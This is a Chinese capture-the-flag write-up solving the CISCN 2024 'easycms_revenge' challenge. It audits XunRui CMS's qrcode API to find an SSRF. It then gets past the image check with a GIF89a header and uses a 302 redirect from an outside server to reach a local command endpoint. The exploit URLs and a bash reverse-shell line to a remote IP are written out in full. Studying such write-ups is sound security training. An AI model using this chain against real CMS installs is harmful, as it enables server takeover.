复现地址
涉及知识点
SSRF
反弹SHELL
代码审计
api调用
图片白名单绕过
具体流程
首先使用dirsearch
进行信息搜集
其中/admin.php
,/flag.php
,/test.php
目录是有效的
尝试打/admin.php
弱密码,失败,先搁置
访问/test.php
目录可以获取网站相关基础信息
得知CMS框架为迅睿CMS开源框架,版本为V4.6.2
题目中给到
/flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
推测是/flag.php
中存在SSRF
漏洞
找一下qrcode
发现在/dayrui/Fcms/Control/Api/Api.php
中有这个函数定义
public function qrcode() {
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (!IS_DEV && is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
if (!is_file($file)) {
exit('二维码生成失败');
}
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
if (strpos($thumb, 'https://') !== false
&& strpos($thumb, '/') !== false
&& strpos($thumb, 'http://') !== false) {
exit('图片地址不规范');
}
$img = getimagesize($thumb);
if (!$img) {
exit('此图片不是一张可用的图片');
}
$code = dr_catcher_data($thumb);
if (!$code) {
exit('图片参数不规范');
}
$logo = imagecreatefromstring($code); //!!!!!!!!!!!!注意这行!!!!!!!!!!!!
$QR_width = imagesx($QR);//二维码图片宽度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
imagepng($QR, $file);
}
}
// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
$QR && imagepng($QR);
exit;
}
注意到$logo = imagecreatefromstring($code);
中的imagecreatefromstring()
函数,且$code
可控
又因为$code = dr_catcher_data($thumb);
,转到dr_catcher_data()
的定义
位于/dayrui/Fcms/Core/Helper.php
中
function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {
if (!$url) {
return '';
}
// 获取本地文件
if (strpos($url, 'file://') === 0) {
return file_get_contents($url);
} elseif (strpos($url, '/') === 0 && is_file(WEBPATH.$url)) {
return file_get_contents(WEBPATH.$url);
} elseif (!dr_is_url($url)) {
if (CI_DEBUG && $is_log) {
log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
}
return '';
}
// curl模式
if (function_exists('curl_init')) {
$ch = curl_init($url);
if (substr($url, 0, 8) == "https://") {
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, true); // 从证书中检查SSL加密算法是否存在
}
if ($ct) {
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)' . 'Gecko/20100101 Firefox/40.0',
'Accept: */*',
'X-Requested-With: XMLHttpRequest',
'Referer: '.$url,
'Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3',
));
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
}
///
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1 );
// 最大执行时间
$timeout && curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
$code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
$errno = curl_errno($ch);
if (CI_DEBUG && $errno && $is_log) {
log_message('error', '获取远程数据失败['.$url.']:('.$errno.')'.curl_error($ch));
}
curl_close($ch);
if ($code == 200) {
return $data;
} elseif ($errno == 35) {
// 当服务器不支持时改为普通获取方式
} else {
if (!$ct) {
// 尝试重试
return dr_catcher_data($url, $timeout, $is_log, 1);
} elseif (CI_DEBUG && $code && $is_log) {
log_message('error', '获取远程数据失败['.$url.']http状态:'.$code);
}
return '';
}
}
发现关键函数$data = curl_exec($ch);
理一下逻辑就是qrcode()
会调用dr_catcher_data()
,dr_catcher_data()
又会调用curl_exec()
达成SSRF,并且$ch
由$url
决定,$url
又由thumb
决定,因此调用qrcode()
并且给$thumb
参数传入目标地址即可完成SSRF
查询文档,仿照的captcha
的调用规则
public function captcha() {
$code = \Phpcmf\Service::L('captcha')->create(
max(0, intval($_GET['width'])), max(0, intval($_GET['height']))
);
\Phpcmf\Service::L('cache')->set_auth_data('web-captcha-'.USER_HTTP_CODE, $code, SITE_ID);
IS_DEV && log_message('debug', '图片验证码生成('.USER_HTTP_CODE.')验证码:'.$code);
exit;
}//此处的captcha()与qrcode()均位于/dayrui/Fcms/Control/Api/Api.php路径下,因此可以仿照captcha()的调用形式来调用qrcode()
仿照构建index.php?s=api&c=api&m=qrcode
即可调用qrcode
模块,appid
和appsecret
参数是小程序开发用到的,此处不需要
注意到qrcode()
下还有这么几个参数需要
$value = urldecode(\Phpcmf\Service::L('input')->get('text')); //qr码数据
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb')); //qr码中间logo的地址
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size'); //qr码尺寸
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level')); //qr码纠错等级
我们只需要关心$thumb
参数,其余参数合理即可
因此构建payload
:index.php?s=api&c=api&m=qrcode&text=123&thumb=http://127.0.0.1/flag.php&size=1024&level=1
尝试直接打一下,得到回显
打到这一步发现ctfshow
的靶场给的不对,写的easycms
,结果实际是easycms_revenge
easycms_revenge
相比easycms
进行了函数修复,过滤判断了url
既然提示“此图片不是一张可用的图片”,那就可以参考文件上传的绕过方法,即添加图片头
GIF89a
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/117.72.40.183/2333%200%3E&1%22");
echo "GIF89a";
?>
//服务器部署web服务,开放2233端口,反弹到2333端口上,命名为302.php
//此处是在服务器上部署了一个在2233端口上开放的web服务,通过发送payload使得靶机访问thumb的地址(即本地服务器),而在本地服务器上又给到了Location这一个请求头,使得进行302重定向,重定向地址即为127.0.0.1/flag同时传入cmd参数进行反弹shell
监听2233端口并发送到payload
:
/index.php?s=api&c=api&m=qrcode&text=adwdadwwda&thumb=http://117.72.40.183:2233/302.php&size=1024&level=1
即可反弹shell
,但是这边似乎是ctfshow
靶场的原因,shell
弹不出来
后面又尝试用">"写文件,也读取不了,可惜
参考
2024-CISCN初赛-Web-复现 | 1cfh'Blog
第十七届全国大学生信息安全竞赛 CISCN 2024 创新实践能力赛初赛 Web方向 部分题解WP_第十七届全国大学生信息安全竞赛考试内容-CSDN博客